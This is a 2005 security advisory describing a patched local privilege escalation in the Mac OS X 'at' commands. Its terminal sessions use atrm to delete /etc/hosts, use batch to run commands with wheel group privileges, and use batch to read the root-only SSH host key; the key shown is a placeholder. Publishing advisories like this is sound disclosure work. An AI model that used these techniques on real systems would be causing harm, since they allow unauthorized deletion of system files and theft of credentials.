[Full-Disclosure] DMA[2005-0127a] - 'Apple OSX batch family poor use of setuid'

Type securityvulns
Reporter Securityvulns
Modified 2005-01-27T00:00:00


DMA[2005-0127a] - 'Apple OSX batch family poor use of setuid' Author: Kevin Finisterre Vendor: http://www.apple.com/macosx/ Product: * at commands <= Mac OS X v10.3.7, Mac OS X Server v10.3.7

References: (CAN-2005-0125) http://www.digitalmunition.com/DMA[2005-0127a].txt http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0125 http://lists.apple.com/archives/security-announce/2005/Jan/msg00001.html http://www.apple.com/support/downloads/securityupdate2005001macosx1028client.html http://docs.info.apple.com/article.html?artnum=300770 http://www.immunitysec.com/downloads/nukido.pdf http://www.immunitysec.com/downloads/nukido.sxw

Description: Mac OS X v10.3 Panther offers breakthroughs in innovation and ease of use that won't be seen in other operating systems for years, if ever, while its UNIX-based core provides rock-solid security on the Internet.

On 1/25/2005 Apple published an advisory for the "at" commands to address a local privilege escalation vulnerability. The "at" family of commands did not properly drop privileges. This could allow a local user to remove files not owned by them, run programs with added privileges, or read the contents of normally unreadable files. The update patched the commands at, atrm, batch, atq, and atrun.

The following session outlines the behavior that was reported.

Please note that at, batch, atq, atrm are all disabled by default on Mac OS X. Each of these commands depend on the execution of atrun which has been disabled due to power management concerns. Those who would like to use these commands, must first re-enable /usr/libexec/atrun by removing the leading '#' from the line

*/5 * * * * root /usr/libexec/atrun

in the file /etc/crontab.

'atrm' can be used to delete any file on the system. The atrm vulnerability does not depend upon atrun.

CrunkJuice:~ kevinfinisterre$ id uid=501(kevinfinisterre) gid=501(kevinfinisterre) groups=501(kevinfinisterre), 79(appserverusr), 80(admin), 81(appserveradm)

CrunkJuice:~ kevinfinisterre$ rm /etc/hosts override rw-r--r-- root/wheel for /etc/hosts? y rm: /etc/hosts: Permission denied

CrunkJuice:~ kevinfinisterre$ ls -al /etc/hosts -rw-r--r-- 1 root wheel 214 3 Dec 20:19 /etc/hosts

CrunkJuice:~ kevinfinisterre$ atrm /etc/hosts

CrunkJuice:~ kevinfinisterre$ ls -al /etc/hosts ls: /etc/hosts: No such file or directory

'batch' can be used to execute commands as gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

CrunkJuice:/tmp kevinfinisterre$ echo > aa /usr/bin/id > /tmp/test

CrunkJuice:/tmp kevinfinisterre$ batch -f /tmp/aa 0 Job b0118490c.000 will be executed using /bin/sh

CrunkJuice:/tmp kevinfinisterre$ cat /tmp/test cat: /tmp/test: No such file or directory

(wait 5 minutes)

CrunkJuice:/tmp kevinfinisterre$ cat /tmp/test uid=501(kevinfinisterre) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 80(admin)

'batch' can also be used to read any file on the system.

CrunkJuice:~ kevinfinisterre$ cat /etc/ssh_host_dsa_key cat: /etc/ssh_host_dsa_key: Permission denied

CrunkJuice:~ kevinfinisterre$ ls -al /etc/ssh_host_dsa_key -rw------- 1 root wheel 668 16 Nov 19:39 /etc/ssh_host_dsa_key

CrunkJuice:~ kevinfinisterre$ batch -f /etc/ssh_host_dsa_key Job b011848db.000 will be executed using /bin/sh

CrunkJuice:~ kevinfinisterre$ ls -al /var/at/jobs/b011848db.000 -rwx------ 1 kevinfin wheel 1263 3 Dec 20:31 /var/at/jobs/b011848db.000

CrunkJuice:~ kevinfinisterre$ cat /var/at/jobs/b011848db.000

! /bin/sh

mail root 0

umask 22 TERM_PROGRAM=Apple\_Terminal; export TERM_PROGRAM SHELL=\/bin\/bash; export SHELL TERM_PROGRAM_VERSION=100; export TERM_PROGRAM_VERSION OLDPWD=\/var\/at\/jobs; export OLDPWD USER=kevinfinisterre; export USER __CF_USER_TEXT_ENCODING=0x1F5\:0\:0; export __CF_USER_TEXT_ENCODING PATH=\/bin\:\/sbin\:\/usr\/bin\:\/usr\/sbin; export PATH PWD=\/Users\/kevinfinisterre; export PWD SHLVL=1; export SHLVL HOME=\/Users\/kevinfinisterre; export HOME LOGNAME=kevinfinisterre; export LOGNAME SECURITYSESSIONID=20ee50; export SECURITYSESSIONID cd /Users/kevinfinisterre -----BEGIN DSA PRIVATE KEY----- ascsefmwe;lijweio;fj23n8r01ur9wefskljvnsdlvsd;kvcms;dkmcv;sdklvm dfbkldfmbdfp0bjerpgjwglvksdmvw430vgwevklmsdkvmasdvnqwefh3bnjnsek 6513515641w6egf4e65v4s6v54we65f4ae6f464b6464b6w4bw6e4bvgw6evgf4w sdvsdfbgfgbndfdfvbsdfvsd5v46se8f4634f6w3f4q3f4sd35vf4sd3v4sd3v4s ascsefmwe;lijweio;fj23n8r01ur9wefskljvnsdlvsd;kvcms;dkmcv;sdklvm dfbkldfmbdfp0bjerpgjwglvksdmvw430vgwevklmsdkvmasdvnqwefh3bnjnsek 6513515641w6egf4e65v4s6v54we65f4ae6f464b6464b6w4bw6e4bvgw6evgf4w sdvsdfbgfgbndfdfvbsdfvsd5v46se8f4634f6w3f4q3f4sd35vf4sd3v4sd3v4s ereethamstahenkryption -----END DSA PRIVATE KEY-----

Apple has released patches for this vulnerability, please see the references above.

For the protection of its customers, Apple does not disclose, discuss, or confirm security issues until a full investigation has occurred and any necessary patches or releases are available. Apple likes to focus response efforts so that they have the greatest impact across the product line, because of this they generally will not respond to e-mail messages unless further information is needed for a security issue.

This is timeline associated with this bug.

12/20/2004 02:22 PM - initial response 01/03/2005 09:17 PM - followup 01/12/2005 02:56 PM - ... 01/13/2005 08:41 PM - ... 01/19/2005 12:16 AM - confirm credit 01/20/2005 12:13 PM - immunitysec nukido release